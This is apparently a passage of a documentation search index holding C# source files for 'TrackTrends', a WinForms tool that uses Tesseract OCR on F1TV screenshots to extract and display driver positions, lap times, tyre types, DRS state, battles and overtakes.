Decode ( Reader . MainZones , Reader . Drivers )); if ( LiveDriverDataLogs . Count > 0 ) return 0 ; return 1 ; } /// /// Changes the image to the newest screenshot in all of the zones and windows /// /// The new screenshot to put everywhere (Do not mix resolutions) public void ChangeImage ( Bitmap image ) { Reader . ChangeImage ( image ); } /// /// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D /// /// The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB) /// The pannel where you want the five last laps to be displayed /// The Main form. /// public DriverData GetFullDriverData ( string driverName , Panel lastFiveLapsPanel , Main form1 ) { //Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right ! DriverData result = new DriverData (); if ( LiveDriverDataLogs . Count > 0 ) { //Searches the most recent live data from the given driverName foreach ( DriverData data in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( data . Name == driverName ) result = data ; } if ( result . Name != \"\" ) { //Recovers and displays the last five laps from the driver lastFiveLapsPanel . Controls . Clear (); Size labelDimensions = new Size ( lastFiveLapsPanel . Width , lastFiveLapsPanel . Height / 5 ); List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ) { //Hardcodes the new button. //Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything. Button newButton = new Button (); lastFiveLapsPanel . Controls . Add ( newButton ); newButton . Name = driverName + \"_\" + lapData . Lap ; newButton . Text = Reader . ConvertMsToTime ( lapData . LapTime ); newButton . Size = labelDimensions ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnLapTime_Click ; newButton . Location = new Point ( 0 , id * newButton . Height ); id ++; } } } return result ; } /// /// Runs trough every drivers live data to recover the drivers that are close to each others /// /// The control that will host the displayed battles /// The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks public void DisplayBattles ( Panel pnlBattles , Main form1 ) { DriverData oldDriver = null ; List <( DriverData d1 , DriverData d2 , int gap )> battles = new List <( DriverData d1 , DriverData d2 , int gap )>(); //Search trough all the drivers and finds the one battling foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( oldDriver != null && driver . Position != - 1 && oldDriver . Position != - 1 ) { if ( driver . GapToLeader < oldDriver . GapToLeader ) { //There is a problem with the drivers gaps } else { int gap = driver . GapToLeader - oldDriver . GapToLeader ; //3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not if ( gap <= 3000 ) { battles . Add (( oldDriver , driver , gap )); } } oldDriver = driver ; } else { oldDriver = driver ; } } //We will only display 4 battles max int maxBattles = 4 ; if ( battles . Count > 0 ) { pnlBattles . Controls . Clear (); int maxUiHeight = Math . Max ( pnlBattles . Height / maxBattles , pnlBattles . Height / battles . Count ); int id = 0 ; foreach (( DriverData d1 , DriverData d2 , int gap ) battle in battles ) { if ( id < maxBattles ) { //*hardcoding* the different controls that needs to be added to the panel. //Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest Button btnFirstDriver = new Button (); Button btnSecondDriver = new Button (); Label lblGap = new Label (); pnlBattles . Controls . Add ( btnFirstDriver ); pnlBattles . Controls . Add ( lblGap ); pnlBattles . Controls . Add ( btnSecondDriver ); btnFirstDriver . Anchor = AnchorStyles . Left | AnchorStyles . Top ; btnSecondDriver . Anchor = AnchorStyles . Right | AnchorStyles . Top ; lblGap . Anchor = AnchorStyles . Right | AnchorStyles . Left | AnchorStyles . Top ; lblGap . TextAlign = ContentAlignment . MiddleCenter ; lblGap . Font = new Font ( lblGap . Font . FontFamily , 15 ); btnFirstDriver . Click += form1 . btnDriver_Click ; btnSecondDriver . Click += form1 . btnDriver_Click ; btnFirstDriver . FlatStyle = FlatStyle . Popup ; btnSecondDriver . FlatStyle = FlatStyle . Popup ; lblGap . FlatStyle = FlatStyle . Popup ; btnFirstDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnSecondDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); lblGap . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnFirstDriver . Location = new Point ( pnlBattles . Width / 3 * 0 , id * maxUiHeight ); lblGap . Location = new Point ( pnlBattles . Width / 3 * 1 , id * maxUiHeight ); btnSecondDriver . Location = new Point ( pnlBattles . Width / 3 * 2 , id * maxUiHeight ); btnFirstDriver . Text = battle . d1 . Name ; lblGap . Text = \"+ \" + Reader . ConvertMsToTime ( battle . gap ); if ( battle . gap <= 2000 ) lblGap . ForeColor = Color . Yellow ; if ( battle . gap <= 1000 ) lblGap . ForeColor = Color . Green ; btnSecondDriver . Text = battle . d2 . Name ; btnFirstDriver . Name = battle . d1 . Name + \"_\" + id ; lblGap . Name = \"lbl_Gap_\" + id ; btnSecondDriver . Name = battle . d2 . Name + \"_\" + id ; } else { break ; } id ++; } } } /// /// Searches the fastest and slowests drivers and displays them in the given panels /// /// Panel that will contain the constructed controls /// Panel that will contain the constructed controls /// The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click public void DisplayTimesDeltas ( Panel pnlFastest , Panel pnlSlowest , Main form1 ) { List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } } int numberOfDriversToShow = 5 ; if ( averages . Count > 0 && averages . Count > numberOfDriversToShow ) { averages = averages . OrderBy ( item => item . avg ). ToList (); pnlFastest . Controls . Clear (); pnlSlowest . Controls . Clear (); int maxUiSize = pnlFastest . Height / numberOfDriversToShow ; //Displays the fastest drivers for ( int i = 0 ; i < numberOfDriversToShow ; i ++) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlFastest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , i * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_fastest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap if ( i != 0 ) newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); } //Displays the slowests drivers int badId = 0 ; for ( int i = averages . Count - 1 ; i >= averages . Count - numberOfDriversToShow ; i --) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlSlowest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , badId * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_slowest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); badId ++; } } } /// /// Will add to the list of overtakes the different changes of position /// /// The listbox containing all the infos public void DisplayOvertakes ( ListBox lsbResult ) { //Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes if ( LiveDriverDataLogs . Count > 1 ) { List < DriverData > oldList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 2 ]; List < DriverData > newList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; for ( int i = 0 ; i < LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]. Count ; i ++) { if ( oldList [ i ]. Name != newList [ i ]. Name ) { //There has been a change in the standings for ( int y = 0 ; y < oldList . Count ; y ++) { if ( newList [ y ]. Name == oldList [ i ]. Name ) { //We found its new location if ( y > i ) { //The driver overtook someone lsbResult . Items . Add ( newList [ y ]. Name + \" climbed to \" + y ); } else { //The driver got overtook by someone lsbResult . Items . Add ( newList [ y ]. Name + \" fell to \" + y ); } } } } } } } /// /// Displays a messageBox containing the infos about a lap time /// /// The name of the driver that has done the lapTime /// The number of the lap on wich the lapTime has been set (CAUTION ITS NOT THE RACING LAP ITS FROM THE DB) /// The time (in ms) of the lap public void DisplayLapTimeInfos ( string driverName , int Lap , string LapTime ) { List < int > sectors = Storage . GetSectorsFromLapTime ( driverName , Lap ); string message = \"Lap time infos\" + Environment . NewLine ; message += LapTime + Environment . NewLine ; if ( sectors . Count > 0 ) message += \"Sector 1 : \" + Reader . ConvertMsToTime ( sectors [ 0 ]) + Environment . NewLine ; if ( sectors . Count > 1 ) message += \"Sector 2 : \" + Reader . ConvertMsToTime ( sectors [ 1 ]) + Environment . NewLine ; if ( sectors . Count > 2 ) message += \"Sector 3 : \" + Reader . ConvertMsToTime ( sectors [ 2 ]) + Environment . NewLine ; MessageBox . Show ( message ); } /// /// Displays the live ranking with the names of the drivers and their gap to the leader in the right order /// /// The control that will host all the new controls /// The main form public void DisplayLiveRanking ( Panel pnl , Main form1 ) { if ( LiveDriverDataLogs . Count > 0 ) { pnl . Controls . Clear (); //Gets the last item that should be the most recent data List < DriverData > liveData = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; Button [] buttons = new Button [ liveData . Count ]; Size buttonDimensions = new Size ( pnl . Width , pnl . Height / liveData . Count ); for ( int driverCount = 0 ; driverCount < liveData . Count ; driverCount ++) { Button newButton = new Button (); newButton . Size = buttonDimensions ; newButton . Location = new Point ( 0 , driverCount * buttonDimensions . Height ); newButton . FlatStyle = FlatStyle . Popup ; DriverData driver = liveData [ driverCount ]; if ( driver . Position == - 1 ) { //Its a DNF newButton . Enabled = false ; } if ( driver . Position > 1 ) { newButton . Text = driver . Name + \" +\" + Reader . ConvertMsToTime ( driver . GapToLeader ); } else { newButton . Text = driver . Name ; } newButton . Name = liveData [ driverCount ]. Name ; newButton . TextAlign = ContentAlignment . MiddleLeft ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnDriver_Click ; buttons [ driverCount ] = newButton ; } //Note : It could be better to have this directly in the same loop foreach ( Button button in buttons ) { pnl . Controls . Add ( button ); } } } } }","title":"DataWrapper.cs"},{"location":"Code/DriverDrsWindow.html","text":"DriverDrsWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Drawing.Imaging ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; namespace TrackTrends { public class DriverDrsWindow : Window { private static int EmptyDrsGreenValue = - 1 ; private static Random rnd = new Random (); public DriverDrsWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"DRS\" ; } /// /// Method that will decode the content of the window /// /// returns a boolean (true = DRS OPEN, false = DRS CLOSED) public override object DecodePng () { bool result = false ; //DEBUG //WindowImage.Save(\"./DRS/\"+rnd.Next(0,99999)+\".png\"); int greenValue = GetGreenPixels (); if ( EmptyDrsGreenValue == - 1 ) EmptyDrsGreenValue = greenValue ; if ( greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30 ) result = true ; return result ; } /// /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated /// /// The number of clearely green pixels private unsafe int GetGreenPixels () { int tot = 0 ; Bitmap bmp = WindowImage ; Rectangle rect = new Rectangle ( 0 , 0 , bmp . Width , bmp . Height ); BitmapData bmpData = bmp . LockBits ( rect , ImageLockMode . ReadOnly , bmp . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( bmp . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < bmp . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmp . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; if ( green > blue * 1.5 && green > red * 1.5 ) { tot ++; } } } } bmp . UnlockBits ( bmpData ); return tot ; } /// /// This method is used to lock on where exactly the DRS window is /// /// Returns a rectangle containing the DRS public Rectangle GetBox () { var tessImage = Pix . LoadFromMemory ( ImageToByte ( WindowImage )); Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); Page page = Engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { page . Dispose (); return new Rectangle ( boundingBox . X1 , boundingBox . X2 , boundingBox . Width , boundingBox . Height ); } } while ( iter . Next ( PageIteratorLevel . Word )); page . Dispose (); return new Rectangle ( 0 , 0 , 0 , 0 ); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverDrsWindow.html#driverdrswindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverDrsWindow.cs /// Brief : Window containing DRS related method and infos /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Drawing.Imaging ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; namespace TrackTrends { public class DriverDrsWindow : Window { private static int EmptyDrsGreenValue = - 1 ; private static Random rnd = new Random (); public DriverDrsWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"DRS\" ; } /// /// Method that will decode the content of the window /// /// returns a boolean (true = DRS OPEN, false = DRS CLOSED) public override object DecodePng () { bool result = false ; //DEBUG //WindowImage.Save(\"./DRS/\"+rnd.Next(0,99999)+\".png\"); int greenValue = GetGreenPixels (); if ( EmptyDrsGreenValue == - 1 ) EmptyDrsGreenValue = greenValue ; if ( greenValue > EmptyDrsGreenValue + EmptyDrsGreenValue / 100 * 30 ) result = true ; return result ; } /// /// Method that will get the green pixel proportion in the image, this can be used to determin if the DRS has been actuated /// /// The number of clearely green pixels private unsafe int GetGreenPixels () { int tot = 0 ; Bitmap bmp = WindowImage ; Rectangle rect = new Rectangle ( 0 , 0 , bmp . Width , bmp . Height ); BitmapData bmpData = bmp . LockBits ( rect , ImageLockMode . ReadOnly , bmp . PixelFormat ); int bytesPerPixel = Bitmap . GetPixelFormatSize ( bmp . PixelFormat ) / 8 ; unsafe { byte * ptr = ( byte *) bmpData . Scan0 . ToPointer (); for ( int y = 0 ; y < bmp . Height ; y ++) { byte * currentLine = ptr + ( y * bmpData . Stride ); for ( int x = 0 ; x < bmp . Width ; x ++) { byte * pixel = currentLine + ( x * bytesPerPixel ); byte blue = pixel [ 0 ]; byte green = pixel [ 1 ]; byte red = pixel [ 2 ]; if ( green > blue * 1.5 && green > red * 1.5 ) { tot ++; } } } } bmp . UnlockBits ( bmpData ); return tot ; } /// /// This method is used to lock on where exactly the DRS window is /// /// Returns a rectangle containing the DRS public Rectangle GetBox () { var tessImage = Pix . LoadFromMemory ( ImageToByte ( WindowImage )); Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); Page page = Engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { page . Dispose (); return new Rectangle ( boundingBox . X1 , boundingBox . X2 , boundingBox . Width , boundingBox . Height ); } } while ( iter . Next ( PageIteratorLevel . Word )); page . Dispose (); return new Rectangle ( 0 , 0 , 0 , 0 ); } } } }","title":"DriverDrsWindow.cs"},{"location":"Code/DriverLapTimeWindow.html","text":"DriverLapTimeWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverLapTimeWindow : Window { public DriverLapTimeWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"LapTime\" ; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . LapTime , Engine ); return result ; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverLapTimeWindow.html#driverlaptimewindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverLapTimeWindow /// Brief : Window containing infos about the lap time of a driver /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverLapTimeWindow : Window { public DriverLapTimeWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"LapTime\" ; } /// /// Decodes the lap time contained in the image using OCR Tesseract /// /// The laptime in int (ms) public override object DecodePng () { int result = GetTimeFromPng ( WindowImage , OcrImage . WindowType . LapTime , Engine ); return result ; } } }","title":"DriverLapTimeWindow.cs"},{"location":"Code/DriverPositionWindow.html","text":"DriverPositionWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverPositionWindow.cs /// Brief : Window containing infos about the position of a driver. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverPositionWindow : Window { public DriverPositionWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Position\" ; } /// /// Decodes the position number using Tesseract OCR /// /// An int representing the position of the driver (should be between 1 and 20 included) public override object DecodePng () { string ocrResult = GetStringFromPng ( WindowImage , Engine , \"0123456789\" ); int position ; try { position = Convert . ToInt32 ( ocrResult ); } catch { position = - 1 ; } return position ; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/DriverPositionWindow.html#driverpositionwindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverPositionWindow.cs /// Brief : Window containing infos about the position of a driver. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverPositionWindow : Window { public DriverPositionWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Position\" ; } /// /// Decodes the position number using Tesseract OCR /// /// An int representing the position of the driver (should be between 1 and 20 included) public override object DecodePng () { string ocrResult = GetStringFromPng ( WindowImage , Engine , \"0123456789\" ); int position ; try { position = Convert . ToInt32 ( ocrResult ); } catch { position = - 1 ; } return position ; } } }","title":"DriverPositionWindow.cs"},{"location":"Code/DriverTyresWindow.html","text":"DriverTyresWindow.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverTyresWindow : Window { private static Random rnd = new Random (); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color . FromArgb ( 0 xff , 0 x00 , 0 x00 ); public static Color MEDIUM_TYRE_COLOR = Color . FromArgb ( 0 xf5 , 0 xbf , 0 x00 ); public static Color HARD_TYRE_COLOR = Color . FromArgb ( 0 xa4 , 0 xa5 , 0 xa8 ); public static Color INTER_TYRE_COLOR = Color . FromArgb ( 0 x00 , 0 xa4 , 0 x2e ); public static Color WET_TYRE_COLOR = Color . FromArgb ( 0 x27 , 0 x60 , 0 xa6 ); public static Color EMPTY_COLOR = Color . FromArgb ( 0 x20 , 0 x20 , 0 x20 ); public DriverTyresWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Tyres\" ; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override object DecodePng () { return GetTyreInfos (); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private Tyre GetTyreInfos () { //DEBUG //WindowImage.Save(\"./Tyre/raw_\"+rnd.Next(0,99999)+\".png\"); Bitmap tyreZone = GetSmallBitmapFromBigOne ( WindowImage , FindTyreZone ()); Tyre . Type type = Tyre . Type . Undefined ; type = GetTyreTypeFromColor ( OcrImage . GetAvgColorFromBitmap ( tyreZone )); int laps = - 1 ; string number = GetStringFromPng ( tyreZone , Engine , \"0123456789\" , OcrImage . WindowType . Tyre ); try { laps = Convert . ToInt32 ( number ); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0 ; } //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop) if ( laps > 75 ) laps = 0 ; return new Tyre ( type , laps ); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); //25F Size newWindowSize = new Size ( bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 25f ), bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 35f )); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - ( newWindowSize . Width ) + Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 10f ); int CorrectedY = Convert . ToInt32 (( float ) newWindowSize . Height / 100f * 35f ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , CorrectedY , newWindowSize . Width , newWindowSize . Height ); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre . Type GetTyreTypeFromColor ( Color inputColor ) { Tyre . Type type = Tyre . Type . Undefined ; List < Color > colors = new List < Color >(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors . Add ( SOFT_TYRE_COLOR ); colors . Add ( MEDIUM_TYRE_COLOR ); colors . Add ( HARD_TYRE_COLOR ); colors . Add ( INTER_TYRE_COLOR ); colors . Add ( WET_TYRE_COLOR ); colors . Add ( EMPTY_COLOR ); Color closestColor = colors [ 0 ]; int closestDistance = int . MaxValue ; foreach ( Color color in colors ) { int distance = Math . Abs ( color . R - inputColor . R ) + Math . Abs ( color . G - inputColor . G ) + Math . Abs ( color . B - inputColor . B ); if ( distance < closestDistance ) { closestColor = color ; closestDistance = distance ; } } //We cant use a switch as the colors cant be constants ... if ( closestColor == SOFT_TYRE_COLOR ) type = Tyre . Type . Soft ; if ( closestColor == MEDIUM_TYRE_COLOR ) type = Tyre . Type . Medium ; if ( closestColor == HARD_TYRE_COLOR ) type = Tyre . Type . Hard ; if ( closestColor == INTER_TYRE_COLOR ) type = Tyre . Type . Inter ; if ( closestColor == WET_TYRE_COLOR ) type = Tyre . Type . Wet ; if ( closestColor == EMPTY_COLOR ) return Tyre . Type . Undefined ; return type ; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/DriverTyresWindow.html#drivertyreswindowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DriverTyresWindow.cs /// Brief : Window containing infos about a driver's tyre /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; namespace TrackTrends { public class DriverTyresWindow : Window { private static Random rnd = new Random (); //Those are the colors I found but you can change them if they change in the future like in 2019 public static Color SOFT_TYRE_COLOR = Color . FromArgb ( 0 xff , 0 x00 , 0 x00 ); public static Color MEDIUM_TYRE_COLOR = Color . FromArgb ( 0 xf5 , 0 xbf , 0 x00 ); public static Color HARD_TYRE_COLOR = Color . FromArgb ( 0 xa4 , 0 xa5 , 0 xa8 ); public static Color INTER_TYRE_COLOR = Color . FromArgb ( 0 x00 , 0 xa4 , 0 x2e ); public static Color WET_TYRE_COLOR = Color . FromArgb ( 0 x27 , 0 x60 , 0 xa6 ); public static Color EMPTY_COLOR = Color . FromArgb ( 0 x20 , 0 x20 , 0 x20 ); public DriverTyresWindow ( Bitmap image , Rectangle bounds , bool generateEngine = true ) : base ( image , bounds , generateEngine ) { Name = \"Tyres\" ; } /// /// This will decode the content of the image /// /// And object containing what was on the image public override object DecodePng () { return GetTyreInfos (); } /// /// Method that will decode whats on the image and return the tyre infos it could manage to recover /// /// A tyre object containing tyre infos private Tyre GetTyreInfos () { //DEBUG //WindowImage.Save(\"./Tyre/raw_\"+rnd.Next(0,99999)+\".png\"); Bitmap tyreZone = GetSmallBitmapFromBigOne ( WindowImage , FindTyreZone ()); Tyre . Type type = Tyre . Type . Undefined ; type = GetTyreTypeFromColor ( OcrImage . GetAvgColorFromBitmap ( tyreZone )); int laps = - 1 ; string number = GetStringFromPng ( tyreZone , Engine , \"0123456789\" , OcrImage . WindowType . Tyre ); try { laps = Convert . ToInt32 ( number ); } catch { //We could not convert the number so its a letter so its 0 laps old laps = 0 ; } //71 is the most laps an f1 race is ever going to have (mexico) so any more would be considered as bad (and remember you cant go trough a full race without making at least one pitstop) if ( laps > 75 ) laps = 0 ; return new Tyre ( type , laps ); } /// /// Finds where the important part of the image is /// /// A rectangle containing position and dimensions of the important part of the image private Rectangle FindTyreZone () { Bitmap bmp = WindowImage ; int currentPosition = bmp . Width ; int height = bmp . Height / 2 ; Color limitColor = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Color currentColor = Color . FromArgb ( 0 , 0 , 0 ); //25F Size newWindowSize = new Size ( bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 25f ), bmp . Height - Convert . ToInt32 (( float ) bmp . Height / 100f * 35f )); while ( currentColor . R <= limitColor . R && currentColor . G <= limitColor . G && currentColor . B <= limitColor . B && currentPosition > 0 ) { currentPosition --; currentColor = bmp . GetPixel ( currentPosition , height ); } //Its here to let the new window include a little bit of the right int CorrectedX = currentPosition - ( newWindowSize . Width ) + Convert . ToInt32 (( float ) newWindowSize . Width / 100f * 10f ); int CorrectedY = Convert . ToInt32 (( float ) newWindowSize . Height / 100f * 35f ); if ( CorrectedX <= 0 ) return new Rectangle ( 0 , 0 , newWindowSize . Width , newWindowSize . Height ); return new Rectangle ( CorrectedX , CorrectedY , newWindowSize . Width , newWindowSize . Height ); } //This method has been created with the help of chatGPT /// /// Methods that compares a list of colors to see wich is the closest from the input color and decide wich tyre type it is /// /// The color that you found /// The tyre type public Tyre . Type GetTyreTypeFromColor ( Color inputColor ) { Tyre . Type type = Tyre . Type . Undefined ; List < Color > colors = new List < Color >(); //dont forget that if for some reason someday F1 adds a new Tyre type you will need to add it in the constants but also here in the list //You will also need to add it below in the Tyre object's enum and add an if in the end of this method colors . Add ( SOFT_TYRE_COLOR ); colors . Add ( MEDIUM_TYRE_COLOR ); colors . Add ( HARD_TYRE_COLOR ); colors . Add ( INTER_TYRE_COLOR ); colors . Add ( WET_TYRE_COLOR ); colors . Add ( EMPTY_COLOR ); Color closestColor = colors [ 0 ]; int closestDistance = int . MaxValue ; foreach ( Color color in colors ) { int distance = Math . Abs ( color . R - inputColor . R ) + Math . Abs ( color . G - inputColor . G ) + Math . Abs ( color . B - inputColor . B ); if ( distance < closestDistance ) { closestColor = color ; closestDistance = distance ; } } //We cant use a switch as the colors cant be constants ... if ( closestColor == SOFT_TYRE_COLOR ) type = Tyre . Type . Soft ; if ( closestColor == MEDIUM_TYRE_COLOR ) type = Tyre . Type . Medium ; if ( closestColor == HARD_TYRE_COLOR ) type = Tyre . Type . Hard ; if ( closestColor == INTER_TYRE_COLOR ) type = Tyre . Type . Inter ; if ( closestColor == WET_TYRE_COLOR ) type = Tyre . Type . Wet ; if ( closestColor == EMPTY_COLOR ) return Tyre . Type . Undefined ; return type ; } } }","title":"DriverTyresWindow.cs"},{"location":"Code/OcrImage.html","text":"OcrImage.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : OcrImage.cs /// Brief : Class containing all the methods used to enhance images for OCR /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Threading.Tasks ; using System.Drawing ; using System.Drawing.Drawing2D ; using System.Drawing.Imaging ; namespace TrackTrends { public class OcrImage { //this is a hardcoded value based on the colors of the F1TV data channel background you can change it if sometime in the future the color changes //Any color that has any of its R,G or B channel higher than the treshold will be considered as being usefull information public static Color F1TV_BACKGROUND_TRESHOLD = Color . FromArgb ( 0 x50 , 0 x50 , 0 x50 ); Bitmap InputBitmap ; public enum WindowType { LapTime , Text , Sector , Gap , Tyre , } /// /// Create a new Ocr image to help enhance the given bitmap for OCR /// /// The image you want to enhance public OcrImage ( Bitmap inputBitmap ) { InputBitmap = inputBitmap ; } /// /// Enhances the image depending on wich type of window the image comes from /// /// The type of the window. Depending on it different enhancing features will be applied /// The enhanced Bitmap public Bitmap Enhance ( WindowType type = WindowType . Text ) { Bitmap outputBitmap = ( Bitmap ) 